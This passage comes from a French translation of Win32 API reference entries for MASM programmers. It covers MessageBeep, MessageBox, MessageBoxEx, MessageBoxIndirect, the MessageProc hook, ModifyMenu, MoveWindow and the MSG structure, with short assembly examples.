                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1
            invoke DestroyMenu, hMenu
            invoke DrawMenuBar, hWnd
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
Retour

Morgatte


MessageBeep (Win32)

BOOL MessageBeep(uType)

UINT uType;	/* type de son */
La fonction MessageBeep joue un son. Chaque type du son est identifié par une entrée dans la section [sounds] du fichier d'initialisation WIN.INI.

Paramètre 	 Description

uType 	 	 Spécifie le type du son. Ce paramètre peut être une des valeurs suivantes :

            Valeur 	 	 Signification

         -1	 	 	 Produit un son standard en utilisant le Haut-Parleur
                       de l'ordinateur.
         MB_ICONASTERISK 	 Joue le son identifié par l'entrée SystemAsterisk dans
                      la section [sounds] de WIN.INI.
         MB_ICONEXCLAMATION 	 Joue le son identifié par l'entrée SystemExclamation
                      dans la section [sounds] de WIN.INI.
         MB_ICONHAND 	 	 Joue le son identifié par l'entrée SystemHand dans la
                      section [sounds] de WIN.INI.
         MB_ICONQUESTION 	 Joue le son identifié par l'entrée SystemQuestion dans
                      la section [sounds] de WIN.INI.
         MB_OK 	 		 Joue le son identifié par l'entrée SystemDefault dans
                      la section [sounds] de WIN.INI.

Retours
La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir des informations à propos de l'erreur étendue.

Commentaires

La fonction MessageBeep rend la main après que le son ait été joué.

Si rien n'a pu être jouer, MessageBeep essaye de jouer le son par défaut (son System). Si elle ne peut pas jouer le son System non plus, cette fonction produit un beep sonore standard en employant le Haut-Parleur de l'ordinateur.
L'utilisateur peut désactiver le signal sonore d'avertissement en utilisant les Sons du Panneau de configuration de Windows.

Voir Aussi

FlashWindow, MessageBox


MessageBox

Renseignements Rapides : MessageBox est une fonction appartenant à la DLL user32.dll

La fonction MessageBox crée, affiche et fait fonctionner une boîte de message. Une MessageBox contient un message principal et un titre, plus n'importe quelle combinaison d'icônes prédéterminées et aussi des boutons.

int MessageBox( HWND hWnd, // est l'handle de fenêtre parente.
                LPCTSTR lpText, // est l'adresse du texte principal de la boîte de message.
                LPCTSTR lpCaption, // est l'adresse du titre de boîte de message.
                UINT uType // est le style de boîte de message.
               );

Paramètres

hWnd identifie la fenêtre parente de la boîte de message qui doit être créée.
Si ce paramètre est NULL, c'est que la boîte de message n'a aucune fenêtre parente.

lpText pointe sur la chaîne de caractères (terminée par le caractère null, le 0) contenant le message principal qui doit être affiché.

lpCaption pointe sur la chaîne de caractères terminée par un null employée en tant que titre de boîte de message.
Si ce paramètre est NULL, le titre par défaut 'Error' est employé.

uType représente un Buffer de plusieurs flags qui déterminent le comportement (ses boutons présents) et le type d'icône utilisées dans cette MessageBox.
Ce paramètre peut être une combinaison de flags des groupes suivants.

On spécifie un des flags suivant pour déterminer les boutons de la boîte de message :

Signification des flags

MB_ABORTRETRYIGNORE la boîte de message contient trois boutons : Abandon, Réessayez et Ignorer.
MB_OK la boîte de message contient un bouton : OK. C'est le bouton par défaut.
MB_OKCANCEL la boîte de message contient deux boutons : OK et Annuler.
MB_RETRYCANCEL la boîte de message contient deux boutons : Réessayez et Annuler.
MB_YESNO la boîte de message contient deux boutons : Oui, Non
MB_YESNOCANCEL la boîte de message contient trois boutons : Oui, Non, et Annuler.

On spécifie un des flags suivant pour afficher une icône sur la boîte de message :

Signification des flags

MB_ICONEXCLAMATION, MB_ICONWARNING une icône de point d'exclamation apparaît dans la boîte de message.
MB_ICONINFORMATION, MB_ICONASTERISK une icône constituée d'une lettre minuscule 'i' dans un cercle apparais dans la boîte de message.
MB_ICONQUESTION une icône de point d'interrogation apparaît dans la boîte de message.
MB_ICONSTOP, MB_ICONERROR, MB_ICONHAND une icône de signal d'arrêt en forme de croix apparaît dans la boîte de message.

On spécifie un des flags suivant pour indiquer quel bouton on préselectionné par défaut :

Signification des flags

MB_DEFBUTTON1 le premier bouton est le bouton par défaut si on ne met rien. MB_DEFBUTTON1 est par défaut à moins que MB_DEFBUTTON2, MB_DEFBUTTON3, ou MB_DEFBUTTON4 ne soient spécifiés.
MB_DEFBUTTON2 le deuxième bouton est le bouton pris par défaut.
MB_DEFBUTTON3 le troisième bouton est le bouton pris par défaut.
MB_DEFBUTTON4 le quatrième bouton est le bouton pris par défaut.

On spécifie un de flags suivant pour indiquer la modalité de la boîte de dialogue :

Signification des flags

MB_APPLMODAL l'utilisateur doit répondre à la boîte de message avant que le travail ne puisse continuer dans la fenêtre identifiée par le paramètre hWnd. Cependant, l'utilisateur peut accèder à d'autres fenêtres ou applications et travailler dans ces fenêtres. Selon la hiérarchie de fenêtres dans l'application, l'utilisateur peut peut avoir la possibilité de se déplacer à d'autres fenêtres. Toutes les fenêtres enfants du parent de la boîte de message sont automatiquement mises hors service, mais les fenêtres popup ne le sont pas. MB_APPLMODAL est pris par défaut si ni MB_SYSTEMMODAL ni MB_TASKMODAL ne sont spécifiés.
MB_SYSTEMMODAL idem que pour MB_APPLMODAL sauf que la boîte de message a le style WS_EX_TOPMOST. Employez des boîtes de message système-modales pour informer l'utilisateur des erreurs potentiellement destructrices qui exigent une attention immédiate (par exemple, étant à court de mémoire). Ce flag n'a aucun effet sur la capacité de l'utilisateur d'agir réciproquement avec des fenêtres autres que celles associés à hWnd.
MB_TASKMODAL idem que pour MB_APPLMODAL sauf que toutes les fenêtres de plus haut niveau appartenant à la tâche actuelle sont mises hors service si le paramètre hWnd est NULL. Employez ce flag quand la demande appelante ou la bibliothèque n'ont pas d'handle de fenêtre à disposition, mais ont toujours besoin d'empêcher l'accès à d'autres fenêtres dans la demande(application) actuelle sans suspendre d'autres demandes(applications).

De plus, vous pouvez spécifier flags suivant :

MB_DEFAULT_DESKTOP_ONLY le bureau recevant actuellement l'entrée doit être un bureau par défaut; autrement, la fonction échoue. Un bureau par défaut est une application en court. MB_HELP Ajoute un bouton d'Aide à la boîte de message. On sélectionne le bouton d'Aide ou appuyant sur F1, ce qui produit un événement d'Aide.
MB_RIGHT le texte est aligné à droite.
MB_RTLREADING affiche le message et le texte de titre, ceci est employé pour les lecture qui vont de droite à gauche comme sur les systèmes hébreux et arabes.
MB_SETFOREGROUND la boîte de message devient la fenêtre de premier plan. Intérieurement, Windows appelle la fonction 'SetForegroundWindow' pour la boîte de message.
MB_TOPMOST la boîte de message est créé avec le style de fenêtre WS_EX_TOPMOST.
MB_SERVICE_NOTIFICATION Windows NT seulement : l'interlocuteur est un service informant l'utilisateur de l'arrivé d'un événement. La fonction affiche une boîte de message sur le bureau (la fenêtre de travail) actuellement actif, même s'il n'y a aucun utilisateur enregistré sur l'ordinateur. Si ce flag est mis, le paramètre hWnd doit être NULL. C'est ainsi que la boîte de message peut apparaître sur un bureau autre que le bureau correspondant à l'hWnd. Pour Windows NT v4.0, la valeur de MB_SERVICE_NOTIFICATION a changée. Voir WINUSER.H pour les vieilles et nouvelles valeurs. Windows NT 4.0 retourne à une compatibilité précédente pour des services préexistants en configurant la vieille valeur à la nouvelle valeur dans l'exécution de MessageBox et MessageBoxEx. Cette configuration est seulement faite pour des executables qui ont un numéro de version inférieur à 4.0. Pour construire un service qui emploie MB_SERVICE_NOTIFICATION et peut lancer, et sur Windows NT 3.x et Windows NT 4.0, vous avez deux choix. 1. À de fois de liaison, spécifiez un numéro de version inférieur à 4.0; ou 2. À de fois de liaison, spécifiez la version 4.0. Au moment de l'exécution, l'utilisation de GetVersionEx fonctionne pour vérifier la version du système. Alors en tournant sous Windows NT 3.x, employez MB_SERVICE_NOTIFICATION_NT3X; et sur Windows NT 4.0, employez MB_SERVICE_NOTIFICATION.
MB_SERVICE_NOTIFICATION_NT3X Windows NT seulement : Cette valeur transmet à la valeur définie pour MB_SERVICE_NOTIFICATION pour Windows NT la version 3.51.

Valeurs de Retour

La valeur en retour est zéro s'il n'y a pas assez de mémoire pour créer la boîte de message. Si tout s'est bien passé, la valeur en retour est l'une des valeurs suivantes :

Signification des Valeurs

IDABORT le bouton Abandon a été cliqué (selectionné).
IDCANCEL le bouton Annuler a été cliqué.
IDIGNORE le bouton Ignorer a été cliqué.
IDNO le bouton Non a été cliqué.
IDOK le bouton OK a été cliqué.
IDRETRY Réessayer a été cliqué.
IDYES le bouton Oui a été cliqué. Si une boîte de message a un bouton Annuler, la fonction renvoie la valeur IDCANCEL dans le cas où la touche ESC a été pressée ou bien si le bouton Annulé a été choisi. Par contre, si la boîte de message n'a pas de bouton Annuler, le fait d'appuyer sur ESC n'a aucun effet.

Remarques

Quand vous employez une boîte de message système-modale pour indiquer que le système est bas sur la mémoire, les chaînes de caractères indiquées par les paramètres lpText et lpCaption ne doivent pas appartenir à un fichier de ressource (genre rsrc.rc), parce que tenter de charger la ressource peut échouer. Quand on appelle une MessageBox avec les flags MB_ICONHAND et MB_SYSTEMMODAL en tant que paramètres pour uType, Windows montre la boîte de message résultante indépendamment de la mémoire disponible. Quand ces flags sont spécifiés, Windows limite la longueur du texte de boîte de message à trois lignes seulement. Windows ne découperra pas automatiquement avec des 'Enter' les lignes pour qu'elles aillent correctement dans la boîte de message, cependant, une chaîne de caractères peut contenir des retours chariot pour briser les lignes aux endroits appropriées. Si vous créez une boîte de message alors qu'une boîte de dialogue est présente, l'utilisation de l'handle de la boîte de dialogue est pris en tant que paramètre hWnd. Le paramètre hWnd ne doit pas identifier une fenêtre enfant, comme un control dans une DialogBox.

Windows 95 : le système peut soutenir un maximum de 16,364 handles.

Traduit par Morgatte

ADD ON:

Dans Masm pour combiner plusieurs flags, il suffit de les ajouter au niveau de uType. Voici un petit exemple simple, je souhaite obtenir une MessageBox avec:

  • - un bouton Oui et un Non : donc MB_YESNO
  • - un signe Point d'interrogation : donc MB_ICONQUESTION
  • - le second bouton Non doit être préselectionné : donc MB_DEFBUTTON2
  • - le bouton Non doit être détecté si on clique sur lui : donc c'est que eax=IDNO

    • invoke MessageBox, NULL,addr MsgBoxText, addr MsgCaption, MB_YESNO+MB_ICONQUESTION+MB_DEFBUTTON2
    cmp eax, IDNO
     je label_Non
    label_Oui:
    ...
    ..
    label_Non:
    ...
    ..

    Essayez ceci:

    .386
    .model flat, stdcall
    option casemap:none
    include \masm32\include\windows.inc
    include \masm32\include\kernel32.inc
    include \masm32\include\user32.inc
    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\kernel32.lib

    .data
    MsgCaption db "Detection du bouton NON",0
    MsgBoxText db "OUI pour Exit",0

    .code
    start:
    invoke MessageBox, NULL,addr MsgBoxText, addr MsgCaption, MB_YESNO+MB_ICONQUESTION+MB_DEFBUTTON2
    cmp eax, IDNO
    je Mgte
    invoke ExitProcess,NULL

    Mgte:
    invoke MessageBox, NULL, addr MsgCaption,addr MsgBoxText, MB_YESNO+MB_ICONQUESTION+MB_DEFBUTTON2
    cmp eax, IDNO
    je start
    invoke ExitProcess,NULL
    end start


MessageBoxEx (Win32)

int MessageBoxEx(hwndOwner, lpText, lpCaption, dwType, wLanguageID)

HWND hwndOwner;
LPTSTR lpText;
LPTSTR lpCaption;
DWORD dwType;
WORD wLanguageID;
La fonction MessageBoxEx crée et affiche une fenêtre qui contient : un message, un titre, et qui peut présenter une combinaison d'icônes prédéterminées et des boutons. Le paramètre wLanguageId spécifie quelle langue sera utilisée pour les boutons prédéterminés. Voyez la description de la fonction MessageBox pour obtenir la pleine description des autres paramètres de la fonction MessageBoxEx (boutons et icônes).

Paramètre 	 Description

hwndOwner 	 Identifie la fenêtre qui possède la boîte de message. (Sa fenêtre parente)
lpText	 	 Pointe sur une chaîne de caractères terminée par un nul, laquelle contient le
         message à afficher.
lpCaption 	 Pointe sur une chaîne de caractères terminée par un nul, c'est le titre de la
         MessageBox. Si le paramètre lpCaption est un NULL, le titre "Error" est
         employé par défaut.
dwType		 Représente un Buffer de plusieurs flags qui déterminent les boutons présents
         et le type d'icônes utilisées dans cette MessageBox.
wLanguageID 	 Spécifie la langue dans laquelle le texte contenu dans les boutons
         prédéterminés est affichée. Cette valeur doit être de la forme rendue par
         la macro MAKELANGID. Voyez ci-dessous le tableau sous les Commentaires
         pour une description des langages primaires et des sous-langages possibles.

Retours

Si la fonction échoue, la valeur en retour est un NULL dans le cas où des informations à propos
de l'erreur peuvent être obtenues en appelant la fonction GetLastError.

Si la fonction est couronnée de succès, la valeur en retour est une des valeurs 'du clic sur un
de ses boutons'. Voici les valeurs et leurs significations :

Valeur 	 	 Signification

IDABORT 	 Le bouton ABORD (ARRÊT) a été cliqué.
IDCANCEL 	 Le bouton CANCEL (ANNULER) a été cliqué.
IDIGNORE 	 Le bouton IGNORE (IGNORER) a été cliqué.
IDNO 	 	 Le bouton NO (NON) a été cliqué.
IDOK 	 	 Le bouton OK (BIEN) a été cliqué.
IDRETRY 	 Le bouton RETRY (RESSAYER) a été cliqué.
IDYES 	 	 Le bouton YES (OUI) a été cliqué.

Si une MessageBox possède un bouton ANNULER, la valeur de IDCANCEL sera retournée soit si le
bouton CANCEL (ANNULER) a été cliqué soit si la croix de fermeture de la MessageBox a été
cliqué. Si la MessageBox ne possède pas de bouton CANCEL, le fait d'appuyer sur la croix de
fermeture n'aura aucun effet.

Commentaires
La fonction MessageBoxEx peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Lorsqu'une MessageBox System est créée pour informer que le système a atteint un niveau bas en mémoire, ses chaînes de caractères qui sont dans les paramètres lpText et lpCaption ne doivent pas provenir d'un fichier de ressource, puisque une simple tentative de chargement des ressources peuvent échouer.
Quand l'application appelle la fonction MessageBox et spécifie les flags MB_ICONHAND et MB_SYSTEMMODAL dans le paramètre dwType, alors Windows32 affichera la MessageBox résultante indépendamment de la mémoire disponible. Quand ces Flags sont spécifiés, Windows32 limite la longueur du texte de la MessageBox à une seule ligne.
Si une MessageBox est créée alors qu'une DialogBox est présente, le handle de la DialogBox est pris en tant que paramètre hwndOwner. Le paramètre hwndParent ne doit pas identifier une fenêtre enfant, comme un Control (un bouton par exemple) de la DialogBox.

Voici un tableau montrant les langues possibles et les sous-langages, avec leurs descriptions :

Langue Primaire | Sous-langage | Description
LANG_NEUTRAL | SUBLANG_DEFAULT | Sous-langage par Défaut
LANG_ARABIC |  | Arabe
LANG_BULGARIAN |  | Bulgare
LANG_CATALAN |  | Catalan
LANG_CHINESE | SUBLANG_CHINESE_TRADITIONAL | Chinois Traditionel
LANG_CHINESE | SUBLANG_CHINESE_SIMPLIFIED | Chinois Courant
LANG_CZECH |  | Tchèque
LANG_DANISH |  | Danois
LANG_GERMAN | SUBLANG_GERMAN | Allemand
LANG_GERMAN | SUBLANG_GERMAN_SWISS | Allemand suisse
LANG_GREEK |  | Grec
LANG_ENGLISH | SUBLANG_ENGLISH_UK | Anglais du ROYAUME-UNI
LANG_ENGLISH | SUBLANG_ENGLISH_US | Anglais AMÉRICAIN
LANG_ENGLISH | SUBLANG_ENGLISH_AUS | Australien Anglais
LANG_SPANISH | SUBLANG_SPANISH | Espagnol
LANG_SPANISH | SUBLANG_SPANISH_MEXICAN | Espagnol Mexicain
LANG_FINNISH |  | Finlandais
LANG_FRENCH | SUBLANG_FRENCH | Français
LANG_FRENCH | SUBLANG_FRENCH_BELGIAN | Belge Français
LANG_FRENCH | SUBLANG_FRENCH_CANADIAN | Canadien Français
LANG_FRENCH | SUBLANG_FRENCH_SWISS | Français suisse
LANG_HEBREW |  | Israélite
LANG_HUNGARIAN |  | Hongrois
LANG_ICELANDIC |  | Islandais
LANG_ITALIAN | SUBLANG_ITALIAN | Italien
LANG_ITALIAN | SUBLANG_ITALIAN_SWISS | Italien suisse
LANG_JAPANESE |  | Japonais
LANG_KOREAN |  | Coréen
LANG_DUTCH | SUBLANG_DUTCH | Hollandais
LANG_DUTCH | SUBLANG_DUTCH_BELGIAN | Hollandais belge
LANG_NORWEGIAN | SUBLANG_NORWEGIAN_BOKMAL | Norvègien - Bokmal
LANG_NORWEGIAN | SUBLANG_NORWEGIAN_NYNORSK | Norvègien - Nynorsk
LANG_POLISH |  | Polonais
LANG_PORTUGUESE | SUBLANG_PORTUGUESE | Portugais
LANG_PORTUGUESE | SUBLANG_PORTUGUESE_BRAZILIAN | Brésilien Portugais
LANG_RHAETO_ROMAN |  | Rhaeto-Italien
LANG_ROMANIAN |  | Roumain
LANG_RUSSIAN |  | Russe
LANG_SERBO_CROATIAN | SUBLANG_SERBO_CROATIAN_LATIN | SerboCroat (Lat)
LANG_SERBO_CROATIAN | SUBLANG_SERBO_CROATIAN_CYRILLIC | Serbo-Croat (Cyr)
LANG_SLOVAK |  | Slovaque
LANG_ALBANIAN |  | Albanais
LANG_SWEDISH |  | Suédois
LANG_THAI |  | Thaï
LANG_TURKISH |  | Turc
LANG_URDU |  | Urdu
LANG_BAHASA |  | Bahasa (Indonésien)

Voir Aussi

MessageBox, MessageBeep


MessageBoxIndirect (Win NT)

[ Maintenant Soutenu sur Windows NT]

La fonction MessageBoxIndirect crée, affiche et fait fonctionner une boîte de message. La MessageBox contient le contenu du message, le titre (définis dans l'application), et n'importe quelle icône et n'importe quelle combinaison de boutons prédéfinis.

int MessageBoxIndirect (

 LPMSGBOXPARAMS LPMSGBOXPARAMS 	 // adresse de la structure contenant les paramètres
                     de la boîte de message.
 );

Paramètres

lpMsgBoxParams

Pointe sur une structure MSGBOXPARAMS, laquelle contient les informations utilisées pour
l'affichage de la MessageBox.

Valeurs en Retour
La valeur en retour est un NULL s'il n'y a pas assez de mémoire pour créer la boîte de message.
Si la fonction réussit, la valeur en retour est une des valeurs d'ITEMS suivantes rendues par la MessageBox :
Valeur		Signification

IDABORT 	Le bouton ABORD (ARRÊTER) a été cliqué.
IDCANCEL 	Le bouton CANCEL (ANNULER) a été cliqué.
IDIGNORE 	Le bouton IGNORE (IGNORER) a été cliqué.
IDNO 	 	Le bouton NO (NON) a été cliqué.
IDOK 	 	Le bouton OK (BIEN) a été cliqué.
IDRETRY 	Le bouton RETRY (REESSAYER) a été cliqué.
IDYES 	 	Le bouton YES (OUI) a été cliqué.
Si la boîte de message possède un bouton CANCEL, la fonction retourne la valeur IDCANCEL si la touche ESC est pressée ou bien si le bouton CANCEL est choisi. Si la boîte de message ne possède pas de bouton CANCEL, le fait d'appuyer sur ESC n'a aucun effet.

Remarques

Lorsqu'une MessageBox System est créée pour informer que le système a atteint un niveau bas en mémoire, ses chaînes de caractères qui sont dans les paramètres lpText et lpCaption ne doivent pas provenir d'un fichier de ressource, puisque une simple tentative de chargement des ressources peuvent échouer.
Quand l'application appelle la fonction MessageBox et spécifie les flags MB_ICONHAND et MB_SYSTEMMODAL dans le paramètre dwType, alors Windows32 affichera la MessageBox résultante indépendamment de la mémoire disponible. Quand ces Flags sont spécifiés, Windows32 limite la longueur du texte de la MessageBox à une seule ligne.
Si une MessageBox est créée alors qu'une DialogBox est présente, le handle de la DialogBox est pris en tant que paramètre hwndOwner. Le paramètre hwndParent ne doit pas identifier une fenêtre enfant, comme un Control (un bouton par exemple) de la DialogBox.

Voir Aussi

MessageBox, MessageBoxEx, MSGBOXPARAMS


MessageProc (Win32)

LRESULT CALLBACK MessageProc(nCode, wParam, lParam)

int nCode;	/* flag concernant le message */
WPARAM wParam;	/* indéfini */
LPARAM lParam;	/* adresse de la structure contenant le message */
La procédure de hook MessageProc est une fonction callback qu'on définit dans l'application. Elle sera appelée par le système après qu'un événement d'entrée ne se soit passé dans une DialogBox, une MessageBox, un menu, ou dans une barre de défilement, mais avant que le message produit par l'événement d'entrée ne soit traité. La procédure de hook peut seulement espionner les messages d'une DialogBox, d'une MessageBox, d'un Menu, ou d'une Barre de Défilement créée par l'application qui a installé la procédure de hook.

Paramètre 	 Description

nCode 	 	 Représente le type d'événement d'entrée qui a produit le message. Ce
         paramètre peut être une des valeurs suivantes :

         Valeur 	 Signification

         MSGF_DIALOGBOX  Indique que l'événement d'entrée s'est produit dans une
                  MessageBox ou dans une DialogBox.
         MSGF_MENU 	 Indique que l'événement d'entrée s'est produit dans un menu.
         MSGF_SCROLLBAR  Indique que l'événement d'entrée s'est produit dans une Barre
                  de Défilement.
         MSGF_NEXTWINDOW Indique que l'événement d'entrée s'est produit du fait que
                  l'utilisateur ait appuyé sur ALT+TAB ou ALT+ESC pour activer
                 une fenêtre différente.

         Si le paramètre nCode est négatif, la procédure de hook doit passer le message
         à la fonction CallNextHookEx sans le traiter et retourner la valeur renvoyé par
         CallNextHookEx.

wParam 	   	 Est une valeur NULL.
lParam 	 	 Point sur une structure MESSAGE (structure MSG).

Retours
La procédure de hook doit retourner une valeur non nulle s'il traite le message; il doit retourner un NULL s'il ne traite pas le message.

Commentaires

La procédure de hook peut modifier un message, mais ne peut pas l'écraser.

L'application doit installer la procédure de hook en spécifiant le type de hook WH_MSGFILTER et l'adresse de l'Instance de la procédure de hook en appelant la fonction SetWindowsHookEx.
MessageProc est un placeholder du nom de la fonction défini dans l'application. Le nom réel doit être exporté en l'incluant dans une déclaration d'EXPORTATIONS (dans un fichier *.def).

Voir Aussi

CallNextHookEx, SetWindowsHookEx, MESSAGE


ModifyMenu (Win32)

BOOL ModifyMenu(hmenu, uItem, fuFlags, idNewItem, lpszNewItem)

HMENU hmenu;		   /* handle du menu */
UINT uItem;		   /* item à modifier */
UINT fuFlags;		   /* item flags */
UINT idNewItem;		   /* identificateur de l'item ou bien handle du menu popup */
LPCTSTR lpszNewItem;   	   /* contenu de l'item */

La fonction ModifyMenu modifie un Item existant. Une application peut employer cette fonction
pour changer le contenu (le texte ou l'image), l'apparence (grisé ou non) et le comportement
(cliquable ou non) de l'item.

Paramètre	Description

hmenu		Identifie le menu qui sera modifié.
uItem		Spécifie l'item à modifié, l'interprétation de ce paramètre dépend du paramètre
        fuFlags.
fuFlags		Est une combinaison de plusieurs flags qui d'une part contrôle l'interprétation
        du paramètre uItem et d'autre part détermine le contenu, l'apparence et le
        comportement de l'item. Ce paramètre peut être une combinaison des valeurs
        suivantes et des valeurs inscrites dans la section Commentaires.

        Valeur 			Signification

        MF_BYCOMMAND 	Le paramètre uItem représente le n°ID de l'item.
        MF_BYPOSITION 	Le paramètre uItem représente la position zéro-basée relative
                de l'item. (Zéro-basée signifie que le premier Item du menu à
                pour position 0….donc uItem vaudra 0).

idNewItem	Représente soit l'identificateur de l'Item modifié (son n°ID ou sa Position,
        c'est selon) soit son handle si fuFlags est mis à MF_POPUP dans le cas d'un
        menu-popup.
lpszNewItem	Spécifie le contenu de l'item qui doit être modifié. L'interprétation de ce
        paramètre dépend du paramètre fuFlags, si fuFlags inclut MF_STRING alors
        IpszNewItem pointe sur une chaîne de caractères (du texte), sinon si c'est
        MF_BITMAP, ou MF_OWNERDRAW alors IpszNewItem pointe sur une Image.

        Valeur 		Contenu de l'Item

        MF_STRING 	Contient un pointeur qui est sur une chaîne de caractère
                terminée par un nul de terminaison (défaut).
        MF_BITMAP	Contient le handle d'un bitmap (d'une Image).
        MF_OWNERDRAW	Contient une valeur 32 bits qui sera utilisée par
                l'application pour associer des données supplémentaires
                à l'item. L'application peut trouver cette valeur dans
                le membre itemData de la structure indiquée par le
                paramètre lParam des messages WM_MEASUREITEM ou
                WM_DRAWITEM qui sont envoyés lorsque l'item est créé ou
                lorsque son apparence doit être remise à jour. (réactualisé)

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès ou FALSE si une erreur se
produit. Pour obtenir l'information à propos de l'erreur étendue, utilisez la fonction
GetLastError.

Commentaires

La fonction ModifyMenu peut être employée soit en tant que fonction à caractère large (où les
arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments
de texte doivent employer des caractères du jeu de Windows 3.x).

Si la fonction ModifyMenu remplace un item qui invoque un menu-popup, la fonction détruit le
vieux menu popup et libère la mémoire utilisée par cet ancien menu-popup.
Chaque fois qu'un quelconque changement intervient sur un menu (seulement si le menu est déjà
affiché dans la fenêtre), l'application doit appeler la fonction DrawMenuBar. Pour changer des
attributs de ses items, il est beaucoup plus rapide utiliser les Fonctions EnableMenuItem et
CheckMenuItem.

La liste suivante représente les groupes de flags qui ne peut pas être employé ensemble :

MF_BYCOMMAND et MF_BYPOSITION
MF_DISABLED, MF_ENABLED et MF_GRAYED
MF_BITMAP, MF_STRING, MF_OWNERDRAW et MF_SEPARATOR
MF_MENUBARBREAK et MF_MENUBREAK
MF_CHECKED et MF_UNCHECKED

La liste suivante représente les flags qui peuvent être placés dans le paramètre fuFlags :

Valeur		Signification

MF_BITMAP	On emploie un bitmap en tant qu'Item. Le paramètre lpszNewItem contient le
        handle de ce bitmap (image).
MF_BYCOMMAND	Indique que le paramètre uItem représente le n°ID de l'Item ou l'handle si
        c'est un menu-popup (c'est le Flag par défaut).
MF_BYPOSITION	Indique que le paramètre uItem représente la position zéro-basée relative du
        nouvel item.
MF_CHECKED	Place une marque de contrôle à côté de l'item. Si l'application a prévu un
        bitmap de contrôle en tant que 'marque' (voir la fonction SetMenuItemBitmaps),
        en mettant ce flag un bitmap sera affiché à côté de l'item.
MF_DISABLED	Désactive l'item pour qu'il ne puisse plus être choisi, mais ne ça ne le grise
        pas.
MF_ENABLED	Active (ou réactive) l'item pour qu'il puisse être sélectionné et le rétabli à
        son état dégrisé si il l'était précédemment.
MF_GRAYED	Grise et désactive l'item pour qu'il ne puisse pas être sélectionné.
MF_MENUBARBREAK	Idem MF_MENUBREAK sauf que, pour les menus-popup, ça insère une ligne verticale
        pour séparer la nouvelle colonne de l'ancienne.
MF_MENUBREAK	Place un item sur une nouvelle ligne (pour les items d'une barre de menu).
        Pour les items d'un menu-popup, ça place un item dans une nouvelle colonne,
        sans ligne de séparation entre les colonnes.
MF_OWNERDRAW	Spécifie que l'item est une image non prédéterminée (une image quelconque).
        La fenêtre qui possède le menu reçoit un message WM_MEASUREITEM avant que le
        menu ne soit affiché pour la première fois pour retrouver la largeur et la
        hauteur de l'image constituant cet item. Le message WM_DRAWITEM est ensuite
        envoyé à la procédure de fenêtre de la fenêtre qui possède cet item à chaque
        apparition de cet item pour le remettre à jour. (pour le rafraîchir)
MF_POPUP	Indique que l'item est un item-popup; c'est-à-dire que le fait de le choisir
        invoque un menu-popup. Le paramètre idNewItem représente le handle du
        menu-popup. Ce flag est employé pour ajouter un item-popup à une barre de menu
        ou à un menu-popup.
MF_SEPARATOR	Tire une ligne de séparation horizontale. Ce flag peut être employé seulement
        avec un menu-popup. La ligne de séparation ne peut ni être grisée, ni
        désactivée, ni même surlignée. Les paramètres lpszNewItem et idNewItem sont
        ignorés.
MF_STRING	Indique que l'item est une chaîne de caratères; le paramètre lpszNewItem doit
        pointer sur une chaîne de caractères.
MF_UNCHECKED	Ne place aucune zone de contrôle à côté de l'item (c'est ce qui est pris par
        défaut). Si l'application a déjà mis une marque de contrôle de type bitmap
        (une image) (voir la fonction SetMenuItemBitmaps), en mettant ce flag ça
        affiche un bitmap, sur lequel on ne pourra pas cliquer, à côté de l'item.

Voir Aussi

AppendMenu, CheckMenuItem, DrawMenuBar, EnableMenuItem, SetMenuItemBitmaps


MoveWindow (Win32)

BOOL MoveWindow(hwnd, X, Y, nWidth, nHeight, bRepaint)

HWND hwnd;	/* handle de la fenêtre */
int X;		/* coordonnées suivant l'axe X (origine le côté gauche de l'écran) */
int Y;		/* coordonnées suivant l'axe Y (origine le haut de l'écran)*/
int nWidth;	/* largeur */
int nHeight;	/* hauteur */
BOOL bRepaint;	/* flag de rafraîchissement */
Cette fonction déplace et redéfinit la taille de la fenêtre indiquée par hwnd. Cette fonction envoie les messages WM_SIZE et WM_MOVE à la fenêtre donnée. Les paramètres X, Y, nWidth et nHeight donnent la nouvelle position et taille de la fenêtre.

Paramètre 	 Description

hwnd 	 	 Identifie une fenêtre enfant ou popup.
X	 	 Spécifie la nouvelle coordonnée X du coin supérieur-gauche de la fenêtre.
Y	 	 Spécifie la nouvelle coordonnée Y du coin supérieur-gauche de la fenêtre.
         Pour les fenêtres popup , X et Y sont exprimés en coordonnées écran
         (par rapport au coin supérieur-gauche de l'écran). Pour des fenêtres
         enfants, ils sont exprimés en coordonnées client (par rapport au coin
         supérieur-gauche du secteur de client de la fenêtre parente).
nWidth 	 	 Spécifie la nouvelle largeur de la fenêtre.
nHeight 	 Spécifie la nouvelle hauteur de la fenêtre.
bRepaint 	 Indique si on doit repeindre (rafraîchir) la fenêtre immédiatement après
         son déplacement. Si bRepaint est à zéro, la fenêtre n'est pas repeinte.
         On pourra le faire plus tard avec la fonction UpdateWindow.

Retours

TRUE est renvoyé pour un succès, et FALSE pour un échec.

Commentaires
Le message WM_SIZE créé par cette fonction donne la nouvelle largeur et la hauteur du secteur de client de la fenêtre, pas de la pleine fenêtre.

Voir Aussi

SetWindowPos, WM_SIZE


msg

MSG Struct

La structure MSG contient l'information à propos d'un message ayant été placé sur la file d'attente des messages.

typedef struct tagMSG { // msg
HWND hwnd;
UINT message;
WPARAM wParam;
LPARAM lParam;
DWORD time;
POINT pt;
} MSG;

Membres

hwnd

Identifie la fenêtre dont la procédure de fenêtre reçoit le message.

Message

